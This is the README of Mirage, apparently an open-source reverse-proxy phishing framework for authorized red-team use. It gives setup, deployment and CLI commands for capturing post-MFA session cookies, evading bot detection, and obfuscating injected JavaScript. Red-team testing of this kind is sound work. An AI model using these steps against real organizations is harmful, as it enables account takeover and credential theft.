Mirage is an Adversary-in-the-Middle (AiTM) phishing framework for authorized red team engagements. It acts as a reverse proxy between the victim and a legitimate target, capturing live session cookies post-MFA to bypass two-factor authentication.
For authorized use only. Mirage is a security research tool intended for penetration testing engagements with explicit written permission from the target organization.
Mirage is split into two binaries:
miraged— the daemon that runs on the phishing server. Handles DNS, TLS, the reverse proxy, session capture, bot detection, and JS obfuscation.mirage— a thin CLI client that connects to one or moremiragedinstances over mutual TLS to manage phishlets, lures, and sessions.
The management API is a REST API served by miraged on a secret hostname, authenticated via mutual TLS with operator client certificates. The mirage CLI communicates exclusively through this API.
Core domain types and interfaces live in internal/aitm/. Infrastructure implementations (SQLite, DNS providers, certificate management) satisfy those interfaces via Go structural typing.
- Go 1.26+
- Node.js (optional — required only for JS obfuscation)
- No CGO required
make build
# Produces build/miraged and build/miragemiraged reads a YAML config file (default: /etc/mirage/miraged.yaml):
domain: phish.example.com
external_ipv4: 1.2.3.4
https_port: 443
dns_port: 53
data_dir: /var/lib/mirage
# Set to true to use self-signed certificates instead of ACME (useful for local testing).
# When false, acme.email and acme.directory_url are required.
self_signed: false
api:
secret_hostname: api.phish.example.com # all traffic to this hostname is routed to the management API
acme:
email: admin@phish.example.com
directory_url: https://acme-v02.api.letsencrypt.org/directory # use staging URL to avoid rate limits during testing
dns_providers:
- alias: cf-main
provider: cloudflare
settings:
api_token: YOUR_TOKEN
obfuscator:
enabled: false
node_path: "" # defaults to PATH lookup
sidecar_dir: "" # directory containing the Node obfuscator package
request_timeout: 5s
max_concurrent: 4
puppet:
enabled: false
chromium_path: "" # defaults to PATH lookup
user_agent: "" # defaults to a recent Chrome UA
min_instances: 1
max_instances: 3
nav_timeout: 30s
cache_ttl: 1hNote: The puppet service infrastructure is fully implemented but the telemetry collection script is a placeholder — it does not yet collect the browser signals needed to prevent the target site from detecting the proxied connection. Keep
puppet.enabled: falseuntil this is completed.
Validate a config file without starting the daemon:
miraged --config /etc/mirage/miraged.yaml validatemiraged can be deployed as a Docker container or provisioned directly onto a remote Linux server via the mirage deploy command. Either way, the mirage CLI connects to the running daemon over mTLS from your operator machine.
The Docker image contains only miraged. Config and data are supplied at runtime via two volume mounts:
| Mount | Contents |
|---|---|
/etc/mirage |
miraged.yaml |
/var/lib/mirage |
SQLite database, generated TLS certs, encryption key |
Build the image:
make docker
# or: docker build --build-arg VERSION=$(git describe --tags --always) -t mirage:latest .Run with Docker:
docker run -d \
--cap-add NET_BIND_SERVICE \
--network host \
-v /etc/mirage:/etc/mirage:ro \
-v /var/lib/mirage:/var/lib/mirage \
mirage:latest
--network hostis required so the DNS server on port 53 is reachable from the host.NET_BIND_SERVICEis needed to bind privileged ports 443 and 53 as a non-root user.
Provision a remote server over SSH in one command:
mirage deploy 203.0.113.5 \
--domain phish.example.com \
--ip 203.0.113.5 \
--ssh-key ~/.ssh/id_ed25519This uploads the miraged binary, writes the config, installs a systemd unit, and performs a health check.
For additional protection against automated scanners, see Redirectors.
For a guided local setup using the bundled target site, see the Quickstart Guide. No domain registration or ACME certificates required.
1. Start the daemon.
miraged --config /etc/mirage/miraged.yamlOn first start, miraged generates a TLS CA and an mTLS operator CA, then prints the enrollment command:
level=INFO msg="enroll with: mirage server add --address 203.0.113.5:443 --secret-hostname api.phish.example.com --token <token>"2. Enroll from your operator machine.
Copy and run the command from the daemon output. This generates a keypair locally, enrolls with the daemon, and saves the signed certificate.
3. Invite additional operators (optional).
From the CLI (requires an authenticated operator):
mirage operators invite aliceOr directly on the server (no authentication required — useful for recovery if all operators lose their certificates):
miraged invite aliceBoth print the enrollment command for the new operator.
Manage phishlets, lures, and sessions:
mirage phishlets push microsoft.yaml
mirage phishlets enable microsoft --hostname login.phish.example.com
mirage lures create microsoft --redirect https://microsoft.com
mirage sessions list
mirage sessions list --completed
mirage sessions export <id> --out cookies.jsonDrop into the interactive REPL by running mirage with no subcommand:
mirage --server prod
# mirage [prod]>- Reverse proxy — transparently proxies HTTPS traffic to the real target, rewriting domains and cookies on the fly
- Session capture — extracts credentials from POST bodies and auth tokens from cookies/headers; marks sessions complete when all required tokens are captured
- BotGuard — JA4 fingerprint-based bot detection with configurable score threshold; suspicious requests are spoofed to a decoy
- JS obfuscation — optionally transforms injected JavaScript via a Node.js sidecar on every request, making static fingerprinting ineffective
- Automated DNS — integrates with DNS providers (Cloudflare, etc.) to manage phishing domain records
- mTLS API — management API authenticated with mutual TLS; operators enroll via invite tokens with no manual certificate copying
- Multi-operator — invite team members with
operators invite; each operator gets a unique identity in the audit trail - Notifications — push session events to webhook endpoints or Slack channels; Slack messages redact sensitive data automatically
- SSH deployment — one-command remote provisioning with systemd unit installation
- Blacklist — IP/CIDR blocking with automatic temporary whitelisting after successful token capture
- Puppet (infrastructure complete, collector pending) — headless Chromium visits the real target site and collects browser telemetry, then injects JS overrides into proxied responses so the victim's session appears indistinguishable from a direct visit — preventing the target site from detecting the proxied connection; the collection script is a placeholder pending research into what signals specific targets check
make test # full suite — unit + integration tests (requires Chromium)
make unit # unit tests only (fast)Mirage is licensed under the GNU General Public License v3.0.
